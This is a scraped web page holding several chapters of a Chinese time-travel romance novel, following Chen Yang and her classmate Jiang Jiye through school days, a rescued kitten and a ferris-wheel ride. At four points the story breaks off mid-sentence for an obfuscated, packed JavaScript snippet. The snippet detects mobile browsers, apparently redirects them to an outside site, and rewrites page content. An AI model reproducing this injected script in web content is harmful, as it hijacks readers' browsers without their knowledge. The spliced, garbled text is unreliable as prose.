哪怕余雅几次把话扯到她身上,陈漾也始终没开口。 这个年,就这么过去了。 年后没多久,陈世明和余雅便重新开始上班。 于忻也从老家回了江城,拉着陈漾出去逛了几天。 等陈漾再去那家乐器店时,却发现店门紧闭。 玻璃门后黑漆漆的,像许久没人来过,也因此,那张曲谱一直留在了陈漾这里。 学校只有高三返校。 时隔十年,再一次穿上这身校服时,陈漾还是有些不适应。 镜子里的自己年轻许多,眉眼依旧安静,宽大的冬季校服裹在身上,带着一种久违的学生气。 陈漾看着镜子里的自己,甚至有一瞬间觉得陌生。 走一步看一步吧,她想。 毕竟也不知道会在这里停留多久。 于忻和陈漾不在同一个学校。陈漾很少交朋友,再加上三中不要求住校,也因此,她在学校里也没有特别亲近的朋友。 上午报到结束后,下午便正式开始上课。 陈漾经过三楼时,脚步忽然慢了下来。 七班在走廊尽头。 她垂眸看了眼包里的曲谱,迟疑几秒,还是朝那边走了过去。 这个时间七班教室里的人还不多。 陈漾站在后门外看了一眼,最后一排空着,江纪野还没来。 她只好重新回了四楼。 二班已经到了不少人。 教室里充斥着翻书声和说话声,后排还有男生在补寒假作业。 陈漾坐回自己的位置,她的位置靠后,同桌是个艺考生,高三上学期就长期不在学校,好像学的是美术。 陈漾对她印象不深。 只记得对方头发很短,一学期里大半时间都不在。 十点半,班主任进来开班会。 内容无非是高考倒计时、最后冲刺,以及下午正式上课的安排。 午饭时间,陈漾没什么胃口,只去小卖部买了个面包垫肚子,随后回教室翻了翻课本。 她高中学的是文科,这些年工作常年往国外跑,英语倒不至于生疏。 文综很多东西也还能捡起来。 唯一让她头疼的,还是数学。 高中时她数学就不算好,高考也被拖了不少分。 陈漾翻着数学书,看着那些熟悉又陌生的公式,只觉得太阳穴隐隐发疼。 好在身体似乎还残留着某种“记忆”,一些基础题型她看一眼便能想起来。 至于难题,她当年不会,现在依旧不会。 想到这里,陈漾自己都忍不住笑了一下。 她伸手把窗户推开一点,冷风立刻灌了进来。 冰凉的空气扑在脸上,让人清醒不少。 下午第一节是语文。 二十七岁重新坐回高中课堂的感觉很奇妙。 老师在讲台上分析阅读理解,教室里一片安静,只有翻卷子的声音。 周围人都低着头埋头苦学,唯独陈漾坐在那里,偶尔会生出一种格格不入的感觉。 晚饭时间,陈漾去了「乐音」 这次店门开着。 暖黄色灯光从玻璃窗透出来,外面的风雪都仿佛被隔绝了。 陈漾推门进去时,江纪野正低头擦拭一把吉他,听见声音,他抬起头。 陈漾把那张曲谱放到桌上,“之前来找过一次,不过没开门。” “就一直放在我这儿了。” 江纪野看了眼曲谱,低低应了一声,“谢谢。” “没事。” 他没穿校服外套,只套了件灰色卫衣,整个人比第一次见面时显得更随意一些,他把吉他重新挂回墙上,随后问:“吃饭了吗?” 陈漾中午本就没吃多少,这会儿也确实有点饿。 “还没,正准备去。” “那一起吧。”他说得自然,像两人已经认识很久。 三中外面有不少小餐馆和便利店。 晚饭时间,街上来来往往几乎都是学生。 最后两人进了便利店,陈漾拿了个饭团和酸奶,江纪野则拿了份三明治。 便利店靠窗的位置坐了几个学生,泡面热气氤氲,窗外还飘着细雪。 两人坐下后,有一搭没一搭地聊着天。 “江纪野。”陈漾咬着吸管,“你想考哪所大学?” 江纪野动作微顿。 “你呢?”他反问。 “分数够的话,宁城大学。”陈漾说得平静。 其实对于如今的陈漾来说,高考早已不是人生最重要的事。 可重新回到十七岁,又不得不再次面对这一切。 江纪野沉默几秒,才说:“还没想好。” 他读书比别人晚一年,很早以前就已经开始一个人生活。 相比起身边那些被高考压得喘不过气的人,他身上似乎少了几分同龄人的急迫感。 更像一种漫无目的的平静。 陈漾侧头看了他一眼。 这些天在学校里,她能明显感觉到周围人的紧张。 黑板上的倒计时每天都在减少,所有人都像被推着往前走,高考在这个年纪,好像就是天大的事情。 无一例外。 陈漾声音很轻:“还有半年,也不用太急。” 准确来说,是四个月。 她在心里默默补了一句。 时间总会推着人往前走,很多事情,无论有没有准备好,到最后都必须面对。 两人在便利店待了没多久就一起回了学校。 晚自习结束后,陈漾坐公交回家。 余雅已经回了房间,客厅里只留了一盏小灯。 陈漾没打扰她,轻手轻脚回了自己房间。 夜很安静。 窗外偶尔传来风声。 很多事情,明明已经过去很久,却始终不会真正消失,有时候,陈漾还是会梦见从前。 江纪野家离三中不远。 在一片有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588908|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老旧的居民楼里,步行十来分钟就能到。 院子里住的大多是老人,这个时间,楼下已经安静下来,只有几户窗子还亮着灯。 江纪野走进三号楼。 他住在二楼,对门是一对上了年纪的老夫妻。 回到家后,他直接进了卧室。 卧室陈设简单,灯光昏黄。 洗漱完后,江纪野坐到书桌前,伸手拉开旁边的抽屉。 抽屉里只放着一个旧饼干盒,边角已经有些磨损。 他安静看了几秒,才把盒子打开。 里面放着几张纸条,还有一些零碎的小东西,江纪野垂下眼,不知道第多少次拿起那些纸条。 泛黄纸面上,是稚嫩又认真的字迹。 「江纪野,这个送给你,他会保护你。」 「江纪野,你名字是不是这么写的。」 「江纪野,最后一道数学题怎么做,你知道吗?」 …… 「江纪野,放学等一下我。」 很多年前,江城小学。 十一月,班里有同学过生日。 小男孩叫徐冬冬,长得圆滚滚的,性格也活泼,前段时间他一直念叨,说想和同学们一起在学校过一次生日。 于是那天中午,他父母真的买了蛋糕过来。 教室里,三十多个小朋友围在一起唱生日歌。 小江纪野也坐在人群后面,安安静静的,一句话没说。 徐冬冬的父母站在旁边举着相机,笑着记录孩子吹蜡烛的模样。 画面温暖得近乎刺眼。 江纪野小时候其实也期待过,也曾试图相信,自己是不是也会拥有那样的生活。 可后来发现,一切始终都不会改变。 于是慢慢地,他好像也接受了。 接受了自己的父母并不爱自己这件事。 最后分蛋糕时,江纪野只吃了一小口。 蛋糕很甜,是小孩子会喜欢的味道。 可他不想再吃第二口。 十岁的江纪野不算高,也很瘦,明明长得乖,却总容易被忽略,有时甚至连老师点名都会漏掉他。 他的话很少,和周围那些吵闹的小孩完全不同。 有时候一天过去,也听不见他说几句话。 旧盒子里还有个小锦囊,里面不知道装着什么。 旁边则放着一个纸飞机。 是小学时最常见的练习本纸张折成的。 江纪野把纸飞机拆开,又顺着折痕一点点重新折回去。 里面有一行很小的字,同样稚嫩。 「谢谢你。」 ... 那个下午,纸飞机从窗口飞进来,轻轻落在桌面上。 江纪野抬头朝窗外看去,女孩还站在树下。 见他发现了自己,便朝他挥了挥手。 风吹动枝叶,蓝色纸飞机安静停在桌角,江纪野很久都没有移开目光。 良久。 他重新把东西放回盒子里,关上抽屉。 夜色渐深。 房间里只剩一盏昏黄的灯。 而桌面上,那张曲谱正安静放在那里。 和从前不同的是,左上角多了一行用铅笔写下的小字。 命运像被人轻轻拨动。 在无人察觉时,重新开始转动。 8. 第 8 章 正月十五,元宵。 街道两旁挂满了灯笼,烟花爆竹声从傍晚开始便没停过,热闹得厉害。 初三之后,陈世明就没再回过家,余雅临时出差,中午给陈漾打了个电话,絮絮叨叨说了二十多分钟,无非还是那些琐碎的小事,最后又叮嘱她晚上早点回家。 上了几天学后,陈漾也渐渐重新适应了“学生”这个身份。 不同于从前的是。 这几天中午或者下午放学时,陈漾总会偶尔碰见江纪野。 两人没有约定过时间,也从没刻意等过谁,只是碰到了,就会顺路一起吃顿饭,或者去乐音待一会儿。 莫名其妙的。 他们之间的距离,也在不知不觉间慢慢拉近。 陈漾有时候会想,或许,这也算是她在这场荒诞又漫长的时空旅行里,交到的第一个朋友。 因为过节,学校晚上提前一节课放学。 下午放学后,陈漾没出校门,打算趁着这段时间把作业写完。她不太想把作业带回家。 班里不少学生都从家里带了饭,这会儿正坐在教室里边吃边聊天。 陈漾把英语作文写完,看离上课还有二十分钟,便起身出了教室,准备去走廊透透气。 她一路走到走廊尽头。 这里是监控死角,这个时间人也少,楼道里安静得只能听见远处隐约传来的说话声。 “陈漾?” 陈漾循声看过去,是江纪野。 “怎么在这儿?”她问。 “吹吹风。”江纪野靠着栏杆,语气淡淡,“三楼人太多了。” 说话时,他下意识把手往身后藏了藏。 陈漾注意到动作,挑了挑眉,“烟?” 江纪野顿了一下,“不是。” 他说着,还是把东西重新拿了出来。 是一封信,准确来说,是一个浅蓝色的信封。 “我们班有人给你的。”江纪野说。 陈漾愣了下,伸手接过。 这个年代,情书这种东西还很流行。 大概是有人偶然见过几次他们一起吃饭,后来又从江纪野那里得知,两人其实也只是普通认识,于是才拜托他转交。 江纪野其实下课后没多久就来了四楼,只是看见陈漾一直低头写东西,便没过去打扰。 原本想着再过十分钟就下楼,这样也算有了没送出去的理由。 可偏偏,陈漾刚好出来了。 他和班里其他人关系算不上熟络,那个男生坐在他前排,平时话也不多,只偶尔通知点事情时会顺口提醒他一句。 中午,对方把情书塞给他时,江纪野原本是拒绝的,“你自己给她。” 结果男生挠了挠头,小声说了句:“她成绩那么好,应该不想被别人看见吧。” 江纪野动作微微一顿。 某些原本沉寂很久的情绪,好像忽然被那句话轻轻勾了出来。 于是最后,他还是把信带来了。 怀着一种连自己都说不清的心思。 陈漾低头看了看,倒也没避讳,当着江纪野的面直接拆开了。 里面是一张浅色信纸。 字写得很认真,甚至还抄了一首不知道从哪里找来的情诗。 陈漾其实没怎么看内容,只是忽然觉得有些新鲜。 没想到重来一次,居然还能收到情书这种东西,以前她倒是经常看于忻写。 尤其是于忻和谈令闹别扭的时候。 于忻也不知道从哪儿学来的,总喜欢写一堆小纸条哄人。 有时候是一句“别生气了”,有时候又是乱七八糟的情话。 每次只拿出一张,偏偏谈令还次次都吃这一套。 想到这里,陈漾忍不住弯了下唇角。 很快,她便把信重新放了回去。 “我也不认识。”她把信封递还给江纪野,“你帮我还回去吧。” 江纪野接过,低低“嗯”了一声。 明天其他年级也要返校了,陈漾撑着栏杆往下看了一眼,已经有不少学生开始往教学楼走。 相比起其他人,她身上明显少了很多高三学生该有的紧张感。 或许是因为她心里早就不是十七岁了。 今天难得是个晴天,夕阳一点点沉下去,余晖落在教学楼外的地砖上,被栏杆切割成一片一片。 远处传来三三两两的交谈声。 就在这时,江纪野忽然开口:“陈漾。” “嗯?” “我也想去宁城大学。” 陈漾怔了下,转头看向他。 夕阳映进少年漆黑的眼底,风从楼道尽头吹过,把校服衣角扬起。 那一瞬间她忽然觉得。 很多事情,好像已经和记忆里不一样了。 … 因为提前放学,打铃后没多久,高三教学楼便陆续熄了灯。 楼下有一整排很长的公示栏,其中几块贴着每次考试的成绩单。 高三的成绩单被单独放在最左边,旁边正好有一盏路灯,暖黄色的灯光落下来,照得很清晰。 经过这里十多天后,陈漾终于第一次停下脚步。 成绩从左往右排列,她的名字一向都在中间偏上的位置徘徊。 陈漾顺着往下看,没想到第二列就看见了江纪野。 也终于明白为什么他身上没有太重的紧迫感。 江纪野学的是理科,虽然偏科的有些离谱。 数理化生几乎接近满分,语文虽然低些,却也正常。 只有英语,刚刚及格。 但即便如此,他的总分,也已经远远超过了宁大的录取线。 甚至完全足够去更好的学校。 陈漾偏头看向不远处,江纪野正站在另一块公示栏前,像是在看什么,还微微凑近了些。 陈漾走过去,顺着他的目光往上一看。 下一秒,就看见了高一时的自己,她下意识后退了半步。 江纪野注意到她的动作,忽然笑了下,“你高一和现在还挺不一样。” 陈漾抬头看他,眨了眨眼,“不一样吗?” 照片是元旦汇演那次拍的。 当时他们班主任抽签抽中了她,硬逼着她上台当领唱。 照片里的陈漾穿着统一的白色长裙和衬衫,拿着话筒站在最边上。 哪怕隔着照片也看得出她满脸写着抗拒和尴尬,唱到后半段时,那种想立刻逃下台的情绪几乎都快溢出来了。 偏偏学校摄影组还刚好抓拍到了。 后来不知道怎么,就被贴到了公示栏,虽然位置偏,没什么人注意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588909|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但陈漾每次路过,还是会觉得尴尬。 “变化挺大的。”江纪野想了想说:“我当时都觉得你下一秒要直接下台了。” 陈漾没忍住笑了,“不至于。” 顿了顿,她又补了句:“就是太尴尬了。” 其实从很早开始,陈漾就对别人的目光异常敏感,学生时代尤其严重。 反而长大以后,才慢慢淡了。 她看着照片,忽然想起什么,“那次元旦汇演,你参加了吗?” “没。”江纪野说,“看到一半就走了。” 元旦那晚,礼堂里坐满了人。 江纪野坐在最后一排,头顶正对着空调。 那段时间他身体不太舒服,整个人昏昏沉沉。 直到礼堂里原本嘈杂的声音慢慢安静下来,取而代之的,是一道女声。 他抬起头。 舞台灯光明亮,穿着裙子的陈漾站在最边缘,拿着话筒。 领唱一共五男五女,其中还有一个年级里很出名的漂亮女生。 几乎没什么人注意到站在边上的陈漾。 可江纪野偏偏只看见了她。 礼堂里坐满了人,可他的视线却始终停在她身上。 中途有一瞬间陈漾刚好朝他这个方向看了过来。 江纪野甚至以为,她看见自己了,可下一秒,她便移开了目光。 后来陈漾刚唱完,班主任让同学来找他。 那天晚上江纪野是在医院度过的。 江凝难得来一次江城,却直接去了学校,把江纪野带去了医院。 一路上除了最开始问过两句话,之后车内便再没声音。 医院走廊很长,病房外站着不少人。 江纪野穿着单薄的校服,厚外套落在了礼堂。 直到走进病房他的情绪依旧平静得近乎冷漠。 病床上躺着他的外婆。 准确来说,是血缘关系上的外婆。 在江纪野十几年的记忆里,他们从没真正说过一句话,甚至连见面,都只是匆匆几次。 老人似乎察觉到有人进来,缓缓睁开浑浊的眼睛。 病房空旷安静,只有仪器声不断回响。 凌晨时分黎老夫人去世。 临终前,她已经说不了话,只是睁着眼,看了江纪野很久。 后来也不知道黎曼如到底怎么想的,她在瞒着所有人的情况下——包括江凝。 修改了遗嘱。 于是所有的不甘和怨气,最后都被一纸文件堵了回去。 老夫人的后事依旧按老规矩办。 可身为女儿的江凝,只守了一晚灵,反而是江纪野,在灵堂待了整整三天。 也没人发现从第一天开始,他就已经在发烧了。 第三天清晨,天还没亮。 老人长眠于江家祖坟。 离开墓园后,江凝直接把江纪野带回了家,然后递给了他一份文件。 像是迫不及待一般。 那是一份转让协议,等他十八岁以后,名下所有东西,全部转让。 江纪野低头看了很久。 那些东西他从来没拥有过,以后也不会属于他。 于是最后他什么都没说,直接签了字。 他只是觉得,江凝想要,那就给她好了。 9. 第 9 章 从学校离开后,陈漾原本打算随便找个地方吃饭,没想到江纪野也还没吃。 不同于平时,这次他带陈漾去了一家离学校有些距离的小餐馆。 位置偏僻,不太好找,但看得出来,他应该来过很多次,老板娘看见他,熟络地招呼了一声。 他们点了同样的拌饭。 店里人不多,老板娘把饭端上来后,就又坐回电视机旁边看电视剧。 两个人面对面坐着,热气一点点往上冒,饭的味道意外不错。 江纪野说这家店是他以前偶然发现的。 后来没事时,经常会来。 两人有一搭没一搭地聊着。 就在这时,门外忽然传来一阵砸东西的声音。 江纪野抬头看过去。 一个醉汉正站在门边,嘴里骂骂咧咧,不知道拿着什么东西往角落砸。 混乱间,陈漾隐约听见了一声很细的猫叫。 醉汉大概是一直没砸中,骂了几句后,摇摇晃晃走了。 陈漾皱了皱眉,“我出去看看。” 她起身走到门口,门边堆着纸箱和杂物。 翻开后,果然在最里面看见了一只小奶猫。 很小也很瘦,浑身脏兮兮的,缩成一团。 陈漾其实一直挺喜欢小动物。 只是以前上学没条件养,后来工作忙,也没时间。 江纪野进去问了老板娘,老板娘说不是附近谁家养的,大概率是流浪猫。 陈漾还在犹豫要不要先把猫带回去。 江纪野却先开了口,“先带去店里吧。” 江城的冬天太冷了,这么小的猫,很难独自熬过去。 不久后,两人回到乐音。 室内暖和许多,小猫缩在纸箱里,终于没再发抖。 陈漾留在店里陪猫。 江纪野则重新出了门,这个时间已经没几家宠物店开门了,他走了十多分钟,才终于找到一家还在营业的,回来时肩头落了层薄霜。 “今晚先放这儿吧。”他说。 乐音后面还有个小杂物间。 “没事吗?”陈漾问。 “没事。”江纪野低头拆猫粮袋,“明天我和林叔说一声。” 乐音的老板是林叔。 只是这两个月林叔回了老家,说家里有事,店也没要求他一定每天开门。 时间已经不早了,两人把猫安顿好,又简单收拾了一下,陈漾才离开。 江纪野没急着离开。 小猫似乎终于意识到这里没有危险,没多久,便蜷成一团睡了过去。 江纪野坐在旁边,看了很久。 … 回到家后陈漾没直接回房间。 而是走向了厨房旁边那间一直锁着的屋子。 她打开灯,空气里满是久未开启后的灰尘味。 陈漾初中的时候,陈世明有段时间天天回家。 那个家难得维持了一阵平静。 然后没多久,余雅告诉陈漾,她怀孕了。 后来理所当然的,这间屋子被布置成了婴儿房。 那段时间家里也仿佛真的重新变回了正常家庭。 五个月时,余雅已经显怀,但也是从那个时候开始,她的情绪越来越不稳定。 后来某一天,两人还是大吵了一架。 有些东西,其实从一开始就埋下了种子。 从发芽,到最后长成参天大树不过只是时间问题。 他们期待的孩子没能来到这个世界上,在一个普通得不能再普通的上午彻底离开。 这些年里虽然没人真正对陈漾提起过。 可从那些零碎的只言片语里,她也很早就知道。 陈世明想要个儿子,余雅也是。 再后来这个房间被重新锁上,没人再打开过。 那段过去,似乎就这样一起被封死在里面。 房间里已经积了厚厚一层灰,除了那些婴儿用品。 角落里,还摆着一架钢琴。 是很多年前,陈世明给陈漾买的。 这个晚上,陈漾一个人把房间里的东西慢慢收进箱子里。 最后,她擦掉了钢琴上的灰尘。 … 第二天中午,陈漾去了乐音。 江纪野也在。 小猫已经被洗干净了,是一只橘猫,一晚上过去看起来终于有了点精神。 江纪野刚从外面买饭回来,于是两人便直接坐在店里吃了午饭。 吃到一半,陈漾忽然看向角落里的钢琴,“你知道哪里可以卖钢琴吗?” 江纪野动作顿了下,“林叔也收。”他抬头看她,“你家里有?” “嗯。”陈漾点头,“想卖了。” 江纪野没多问,只说要先看看。 两人便约了时间去她家。 之后几天小猫暂时住在乐音。 也因为它,陈漾几乎每天中午和下午放学后,都会去店里待一会儿。 和江纪野一起。 周末那天江纪野和林叔一起去了陈漾家。 林叔前几天刚从老家回来,钢琴检查完后他报了个价格。 只有当初买价的一半,但陈漾还是没犹豫地答应了。 这架钢琴在那个房间放了很多年。 余雅从来没提过卖掉,仿佛她始终相信这个家有一天还能回到从前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588910|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钢琴被搬走后房间一下空了许多。 林叔知道他们是同学,临走前还笑着让江纪野别急着回去,对他说:“和朋友出去逛逛。” 闲来无事,两人一起去了市中心。 今天人格外多,路边还有几个卖花的小孩,走到广场时,一个扎着双马尾的小姑娘忽然抱着一捧玫瑰跑到他们面前。 “哥哥,给姐姐买枝花吧。” 陈漾这才后知后觉地想起来,今天是情人节。 估计是小姑娘把他们当成情侣了,她还没来得及解释。 江纪野已经开口:“多少钱一支?” “三块。” 江纪野从口袋里拿了十块钱递过去,接过三枝花,“不用找了。” “谢谢哥哥!”小姑娘眼睛亮晶晶的,转头又跑向别人。 陈漾站在旁边,也没觉得有必要解释。 “走吧。”江纪野说。 两人继续往前走,十年后的江城变化很大,但凭着记忆陈漾还是找到了那家她工作后常来的古着店。 店里摆满了旧相机和黑胶唱片。 “我在这里待一会儿。”陈漾问,“你要不要去别的地方逛?” “我也看看。”江纪野说。 店里放着一首很老的英文歌,陈漾蹲在相机柜前,很快找到了自己以前一直想买的那台。 这个时候价格比以后便宜得多。 她仔细检查了镜头和成色,确认没问题后,直接付了钱。 等老板包装时,陈漾回头,看见江纪野正站在另一边翻唱片。 她走过去看了两眼,“你要买这个?” 江纪野点了点头。 “这张挺难找的。”他说,“没想到这里会有。” 他以前也收藏过不少唱片,唯独这一张,始终没找到。 老板见难得有人买这些旧东西,还和他们聊了几句。 时间还早,两个人都没有回去的意思。 “去里面转转吧。”江纪野说。 商场里暖气开得很足,陈漾的手终于没那么冷了,两人漫无目的地逛着,直到上了三楼。 前面忽然排起长队。 走近后才发现,是摩天轮入口。 陈漾低头看了看刚买的相机,忽然有些想上去。 她转头问:“江纪野,你恐高吗?” 江纪野摇头,像是一下就看出了她在想什么,“走吧。” 两人排在队伍最后,江纪野站在陈漾身后半步。 隔着熙熙攘攘的人群,不动声色地,把她和周围所有人隔开。 商场灯火明亮,人声鼎沸。 空气里是冬天里难得的暖意。 10. 第 10 章 去年年末,江城第一座摩天轮正式开始运营。 前来打卡的人络绎不绝。 排队穿过售票口后,是一段缓缓向上的旋转楼梯。楼梯两侧嵌着透明的星空玻璃,脚下台阶亮着自动感应的暖灯,随着人一步步往上,灯光也依次亮起。 天色渐晚,摩天轮的灯彻底亮了。 陈漾和江纪野前面排着一家三口。 女孩大概十一二岁,被父亲牵着手,时不时兴奋地往外看。母亲替她整理围巾。 像极了很多年前,陈漾小时候和陈世明、余雅一起去游乐园的样子。 或许是因为重新回到了过去,最近陈漾总是会不受控制地想起从前。 轮到他们时,两人一前一后进了车厢。 摩天轮缓慢升起,从高处俯瞰,傍晚的江城漂亮得有些不真实。道路被灯光拉成长线,商场广告牌不断闪烁,远处江岸边的霓虹映在水面,像流动的星河。 江城的夜景,一直都是这座城市最出名的景色之一。 陈漾侧过身,举着相机对着窗外拍照。 江纪野则安静地看着她。 有时候,他还是会觉得这一切像梦。 像老天忽然跟他开了一个荒唐的玩笑。 他总觉得,也许某一天醒来,一切又会恢复成从前的样子。 还是那个空荡荡的家。 还是一个人。 还是重复、安静、没有波澜的人生。 可又不是。 雪地里的那场相遇,像一个突然出现的契机。 从那以后,他和陈漾之间,好像开始有了越来越多的交集。 一起吃饭、一起照顾元宵、一起坐公交、一起在乐音。 这些事情放在别人身上或许普通,可对江纪野来说,却像某种迟来了很多年的东西。 于是他会忍不住想。 哪怕这一切真的只是幻影。 哪怕最后还是会消失。 他也希望这个梦,能再久一点。 城市灯火倒映在陈漾眼底,也倒映在江纪野的目光里。 车厢内很安静,霓虹穿过玻璃,在陈漾侧脸落下斑驳的光影,也淡化了她身上原本那种疏离感。 升至最高点时,会短暂停留十秒。 关于摩天轮,一直有个俗气却广为流传的传言—— 在顶点接吻的恋人,会永远在一起。 忽然停住的那一刻,江纪野偏头看向窗外。 陈漾举起相机,没有缘由地,对准了他。 快门声很轻。 相机定格下的人穿着简单的黑色外套和牛仔裤,侧脸被灯光勾勒得清晰而干净。 陈漾忽然想起。 在北城那条巷子里见到江纪野时,他好像也是这样,穿着黑色外套,站在昏暗路灯下。 直到她坐车离开,那道身影似乎也一直没有动。 下一秒。 夜空骤然炸开大片烟火。 绚烂的蓝色火光在高空盛放,一簇接着一簇,映亮整座城市,又很快消散在夜色里。 像一场短暂而盛大的梦。 这十秒,时间仿佛都被按下暂停键。 车厢里依旧安静,直到江纪野忽然开口。 “陈漾。” “要一起去宁大吗?” 那天在学校,江纪野说出“他也想去宁大”时,陈漾其实并没有太大反应。 后来在公告栏前,她也没问。 或许对她来说,对方去哪一所大学,本来就和她没有关系。 但江纪野不想这样。 他不想最后即便去了同一所大学,两个人也只是“认识”,只是比陌生人多一点熟悉的普通同学。 十几岁的时候,江纪野很少去认真想“以后”。 和很多人不同,他太早学会一个人生活。 初三开始,他就已经习惯独自面对很多事情。 他知道,如果自己出了什么问题,江凝会不耐烦,会嫌麻烦,会觉得他是累赘。 所以这些年,他始终安静、沉默,也尽量不让自己出现在任何人的生活中心。 久而久之。 连他自己都觉得,人生好像不过如此。 直到这一年,直到陈漾出现。 原来生活真的会因为某个人的出现,而慢慢变得不一样。 江纪野第一次觉得,如果未来真的存在。 那他希望,这个未来里会有陈漾。 哪怕只是很短暂的一段路。 他也甘之如饴。 所以他还是问出了口,小心翼翼的。 上辈子的记忆,对现在的陈漾来说,突然就清晰了起来。 陈世明和余雅的不断争吵。 余雅的自杀。 她不是毫无情绪波动的机器人。 初中以前,陈漾也会犯错,然后得到的惩罚是余雅的打骂。 只是事后,余雅又会和什么都没发生过似的和她讲话。 和陈世明吵架一样。 余雅对她反复的态度,也因此,陈漾有一段时间的情绪变得和余雅一样,极度的不稳定。 那也是她最讨厌自己的一段时间。 陈漾讨厌变得和余雅一样的自己。 所以大学以后,她愈发不和余雅联系。 余雅也发过长篇大论,也打过很多个电话给她。 说她狠心,不孝。 但陈漾还是依旧。 大学四年,她每天过的都很忙碌。 兼职,实习,上课。 每天三点一线。 也和余雅吵过架。 可结果总是不了了之。 回到过去究竟是幸还是不幸,她不知道。 如今,在看似紧张乏味的高三,她遇见了江纪野。 这场回到过去的旅途,有了一个未知。 她无法掌握的未知。 陈漾不讨厌,相反,有一种阔别已久的情绪仿佛回来了。 陈漾笑了下说:“好啊。” 迷茫和无措从来不是陈漾高中时候的常态。 而是害怕。 那个时候,她常常害怕未来还是如此。 害怕自己什么都改变不了,害怕自己做不到。 她不是多么强大的人。 那个时候,她也不过十七岁。 有时候陈漾还是经常会梦到那条街。 她怎么跑都跑不到尽头。 醒来后大汗淋漓,心跳不稳。 那种面对未来不再害怕反而期待的日子。 她好像找到了。 … 从摩天轮下来后,两人又去了乐音。 林叔不在店里,江纪野开了门。 元宵原本正蜷缩在箱子里睡觉,听见声音后立刻抬起脑袋。看见陈漾,小猫几乎没有犹豫,直接从箱子里跳了出来,迈着不太稳的小短腿一路跑到她脚边。 因为是在元宵节捡到的。 所以两人最后给它取名叫“元宵”。 陈漾坐到椅子上,把元宵抱进怀里。 小猫格外黏人,没一会儿就开始扒拉她袖口,又拿脑袋轻轻蹭她掌心。 江纪野则把刚刚买回来的宠物用品搬进杂物间,等他出来时,就看见陈漾低着头,正在轻声逗猫。 她今天穿得很暖和。 暖气还没完全热起来,空气里仍带着些凉意。 陈漾似乎剪短了点头发,长度刚好落在肩下。低头时,两侧碎发自然垂落,整个人都柔和了许多。 “江纪野。”她忽然抬头,“你喜欢猫吗?” 江纪野愣了一下,“怎么突然问这个?” 陈漾低头摸了摸元宵,“就是觉得,它总不能一直住在这里吧。” 江纪野在旁边沙发坐下,两人之间隔着一段不远不近的距离,他说:“林叔说可以放这儿。” “你想来的时候,过来看看它就行。” 陈漾明显松了口气。 她其实已经在想,如果江纪野不愿意留下元宵,她就去帮小猫找领养。 如今听见林叔同意,小猫也总算算是有了归处。 离开商场前,两人已经吃过晚饭,这会儿时间也不早了。 元宵困得一阵一阵的,刚醒没多久,又开始满地乱跑。 虽然大多数时候是江纪野在这儿,但小猫却总喜欢黏着陈漾。 陈漾看了眼手机,余雅应该快回家了。 “时间不早了,我先回去了。” 江纪野点头,“好,路上小心。” “嗯。” 就在陈漾准备起身时。 元宵像察觉到了什么,忽然站起来,伸着爪子不停扒拉她裤脚。 放下去一次,又爬上来一次。 来回好几遍。 最后还是江纪野先开了口,“送你到车站吧。” “反正也不远。” 陈漾蹲下身,伸手戳了戳元宵脑袋,“这么黏人。” 她把猫抱进怀里,抬头看向江纪野,“麻烦你了。” “没事。” 江纪野锁好门,两人一起朝公交站走去。 陈漾把元宵裹进外套里,只露出一个圆圆的小脑袋。 江纪野走在靠外侧。 冬夜风冷,街上行人不算太多,但依旧能看见不少刚从补习班下课的学生,三三两两走在路边。 车站等候椅上坐着两个女生,看起来像附近学校的学生。 元宵跑去了江纪野怀里。 没多久,公交车缓缓驶来。 两人在站台道别。 陈漾上车后,坐到了靠窗的位置。 隔着玻璃,看见江纪野还站在原地没走,她抬起手,朝他挥了挥。 公交车很快发动,车灯穿过夜色,缓缓驶离站台。 而江纪野却依旧站在那里。 直到车尾彻底消失,怀里的元宵忽然动了动。 江纪野低下头,小猫睁着圆溜溜的眼睛,一眨不眨地看着他。 不知道为什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588911|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江纪野竟莫名从那双眼睛里,看出了一点委屈。 他没忍住笑了下低声说:“不喜欢猫。” 